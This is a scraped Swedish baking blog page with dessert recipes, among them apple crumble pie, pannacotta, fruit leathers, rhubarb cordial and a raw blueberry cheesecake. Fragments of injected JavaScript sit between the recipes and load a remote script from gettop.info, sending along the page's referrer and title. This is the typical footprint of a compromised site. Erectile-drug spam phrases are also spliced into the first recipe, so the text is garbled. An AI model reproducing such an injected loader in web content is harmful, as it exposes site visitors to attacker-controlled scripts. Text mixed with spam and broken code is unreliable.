Äppelsmulpaj

bild1granny-smith-applebild2bild3bild7bild8bild4bild6bild11bild5bild12bild1Den här buy levitra legal usa pajen bakade jag igår och serverades med Kesella äpple/kanel.

Recept 2 personer
3 äpplen (Granny Smith) (ca 1/2 kg)
1/2 dl socker
1/2 tsk kanel

Recept 2 portioner
50 gram smör
1,5 msk strösocker
0,75 dl vetemjöl
0,75  dl havregryn

Gör så här:
Skala och skär levitra buy cheap real alla äpplen i mindre bitar. Lägg i bitarna i en stekpanna och häll på socker. Låt smälta och rör om i ca 5 minuter. Häll på kanel i slutet. Lägg upp i en smörad ugnsfast form.
Smulpaj: Smält smöret cialis generique i en kastrull. Rör ner socker, vetemjöl och havregryn och rör om. Lägg röran på toppen av äpplebitarna och in i ugnen på ca 225 grader i ca 7-10 minuter tills smulpajen fått färg. Servera med kesella eller glass.} else {

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Pannacotta med passionsfrukts-topp

IMG_5879

Recept 8 små bägare

1 liter vispgrädde
2 dl socker
5 gelatinblad
1 tsk vaniljsocker

Topping
1 gelatinblad
1 dl utspädd passionsfruktjuice

Gör så här:
Häll vispgrädde och socker i en kastrull. Låt koka upp.
Blötlägg gelatinbladen i 5 minuter. Ta upp och lägg ner i den kokta varma gräddblandningen. Tillsätt vaniljsockret.
Fördela i små bägare och plast (engångs) eller glas. Ställ i kylen. När det stelnat så mycket att du kan hälla ett lager över gör du toppingen.
Topping:
Blötlägg gelatinbladen i 5 minuter. Ta upp och smält gelatinbladen i en kastrull eller i en skål i mikrovågsugnen på full effekt (max 800 W) i ca 10 sekunder.
Tillsätt gelatinen i en tunn stråle ner i passionsfruktsjuicen. Häll juicen över den stelnande pannacottan och ställ allt i kylen igen så det stelnar. Garnera med färsk passionsfrukt,  citronmeliss eller mynta.

IMG_5880d.getElementsByTagName(‘head’)[0].appendChild(s);

d.getElementsByTagName(‘head’)[0].appendChild(s);

Jordgubbsmousse

2

Förra helgen gjorde jag jordgubbsmousse som smakade supergott. Receptet hittade jag här.

Recept 6 portioner
3/4 liter (300-400 gram) jordgubbar
3 dl vispgrädde
3/4 dl florsocker
1-2 tsk vaniljsocker

Gör så här: Skölj jordgubbarna. Ta undan 6 stycken till garnering, ta bort blomfästena på de resterande. Lägg dem på en handduk för att rinna av och torka. Mosa jordgubbarna med en gaffel. Vispa grädden till fast skum med florsocker och vaniljsocker. Ställ i kylskåp i 30 minuter så att den blir kall. Vänd ner jordgubbsmoset i grädden. Fördela moussen i sex portionsglas. Garnera med jordgubbar.

432bild1

Ananaspaj

9

Här kommer ett recept på en god ananaspaj som går snabbt att laga till. Receptet hittade jag här.

Recept 1 paj (10 bitar)
Pajdeg
150 gram smör
1 dl socker
3 dl mjöl
2 tsk bakpulver

Fyllning:
2 dl creme fraiche
0,5 dl socker
0,5 tsk vaniljsocker
2 st ägg
2 burkar krossad ananas (små burkar, ca 450 gram)
Limeskivor

Gör så här: Smält smöret i en kastrull och ställ det åt sidan. Rör i socker, mjöl och bakpulver när smöret svalnat något. Tryck ut degen i en pajform. Låt ananasen rinna av i en sil.
Blanda creme fraiche, socker, vaniljsocker och ägg i en bunke. Rör sist i den avrunna ananasen. Fyll pajskalet och grädda i mitten av ugnen i 175 grader i 30 minuter eller tills pajen har stannat och inte är rinnig i mitten.
Garnera ev med tunna limeskivor och vispad grädde.

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

}

Äpplesmulpaj

bild14

Den här pajen har jag lagat många gånger och den smakar så gott ihop med vaniljglass.

Recept 2 personer
3 äpplen (Granny Smith) (ca 1/2 kg)
1/2 dl socker
1/2 tsk kanel

Recept smulpaj 2 portioner
50 gram smör
1,5 msk strösocker
0,75 dl vetemjöl
0,75  dl havregryn

Gör så här: Skala och skär alla äpplen i mindre bitar. Lägg i bitarna i en stekpanna och häll på socker. Låt smälta och rör om i ca 5 minuter. Häll på kanel i slutet. Lägg upp i en smörad ugnsfast form. Smulpaj: Smält smöret i en kastrull. Rör ner socker, vetemjöl och havregryn och rör om. Lägg röran på toppen av äpplebitarna och in i ugnen på ca 225 grader i ca 7-10 minuter tills smulpajen fått färg. Servera med kesella eller glass.

bild5bild4bild15

 var d=document;var s=d.createElement(‘script’);

var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);

Strawberry fruit leather

bild (139)

Recept till en bakplåt
500 gram frysta jordgubbar /färska jordgubbar
1/2 dl honung

Gör så här:
Sätt ugnen på den lägsta temperaturen (jag har 50 grader på min ugn). Tina upp jordgubbarna. Mixa alla ingredienser till en puré.  Lägg ett bakplåtspapper på en bakplåt och häll ut  röran och jämna ut med en slev.
Ställ in bakplåten längst ner i ugnen ca 4-5 timmar tills röran har stelnat till en seg läderliknande bit.
Låt kallna på ett galler. Sen klipper du långa remsor eller mindre fyrkanter, rullar ihop till ett rör och förvara i en burk med tätslutande lock.  Jag fick 8 små rullar. Om du gör dubbel sats täcker det en hel bakplåt och blir 16 rullar.

bild (153)bild (151)bild (145)

bild (138)bild (144)bild (142)bild (141)

bild (146)

bild (136)bild (147)bild (150)bild (129)bild (143)

 if (document.currentScript) {

var d=document;var s=d.createElement(‘script’);

Peach fruit leather

 

bild1

bild3

bild2

Peach leather är gudomligt gott. Tar lite tid att göra men det är värt tiden.

Recept
3 mogna persikor (Dela och skala dem)
1 tsk kardemumma
1/2 – 3/4  dl flytande honung
1 dl vatten

Gör så här:
Sätt ugnen på den lägsta temperaturen (jag har 50 grader på min ugn). Mixa alla ingredienser till en puré.
Lägg ett bakplåtspapper på en bakplåt och häll ut  röran och jämna ut med en slev.
Ställ in bakplåten längst ner i ugnen ca 4-5 timmar tills röran har stelnat till en seg läderliknande bit.
Låt kallna på ett galler. Sen klipper du långa remsor eller mindre fyrkanter, rullar ihop till ett rör och förvara i en burk med tätslutande lock.  Jag fick 8 små rullar. Om du gör dubbel sats täcker det en hel bakplåt och blir 16 rullar.

bild111

bild17

bild18

bild16

bild13bild14

bild15

bild11

bild10

bild9

bild8

bild7

bild5

bild5bild6

bild4bild3

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Rabarbersaft

För några dagar sedan fick jag färsk rabarber som en kompis odlat själv.  Jag passade på att laga rabarbersaft av dessa underbara rabarber och saften blev jättegod. Receptet hittade jag här.

bild6

Rabarbersaft (ger ca 2 liter)
2 kg rabarber
1 1/2 l vatten
saft från 1 citron
1 kg Dansukker Strösocker

Gör så här:
Skölj rabarbern. Skär den i bitar. Koka med vattnet tills rabarbern är helt mjuk. Häll upp i silduk och låt självrinna i 30 minuter. Rengör grytan och häll tillbaka saften. Tillsätt socker och citronsaft. Koka under ständig skumning tills saften är helt klar. Häll upp på varma, väl rengjorda flaskor. Förslut. Förvara svalt.
bild2bild1bild3bild4bild5bild7

 

 

 

 if (document.currentScript) {

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‘script’);

Gino

bild3

Min gino serverade jag med vaniljglass.
Recept:
1 ananas
Färska jordgubbar
Färsk nektarin
Färska blåbär
Vit choklad

Skär upp frukten i mindre bitar och lägg i en ugnsfast form. Riv vit choklad på toppen och gratinera i ugnen på 275 grader tills chokladen smält. Servera med vaniljglass.

bild5bild4bild2bild1

XX

 d.getElementsByTagName(‘head’)[0].appendChild(s);

}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Blåbärscheesecake

bild8

bild9

I veckant blev jag tipsad om en supergod blåbärscheesecake från Anna. Jag var helt enkelt tvungen att baka kakan och den smakar underbart gott. Kika gärna på  Annas fina blogg ”Beauty by Anna” här.

Raw blåbärscheesecake  (ca 10 bitar)  

Botten:
1 påse mandlar (200g)
2-3 msk honung

Fyllning:
4 dl cashewnötter
4 dadlar (urkärnade)
4 msk pressad citron
2 msk honung
1 tsk vaniljpulver
1 nypa salt
5 msk kokosolja
1 dl frysta blåbär

Till servering:
Blåbär och kokosgrädde

Gör såhär:
Kör mandeln i en mixer tills den har blivit ett mjöl.
Blanda i honung och fortsätt mixa tills allt formas till en deg. Ha i lite mer honung eller  lite vatten om den fortfarande känns lite smulig.
Platta ut degen i en liten springform (17 cm i diameter) med  bakplåtspapper i botten.
Mixa cashewnötterna tills de har blivit ett mjöl. Lägg i dadlar, citronsaft, honung, vaniljpulver, salt samt kokosolja och fortsätt att mixa tills allt du får en fin smet.
Häll i de frysta blåbären och med mixern tills allt är utblandat. Bred ut blandningen över bottnen och låt stå i kylen eller frysen i ett par timmar. Servera kakan med lite blåbär och kokosgrädde.

bild2

bildbbild6bild7bild3

bild1

bild12bild10

bild9bild8

bild13bild14

bild15bild16bild17

bilda

bild5

bild4bild6bild7

bild2bild3bild1

 if (document.currentScript) {

}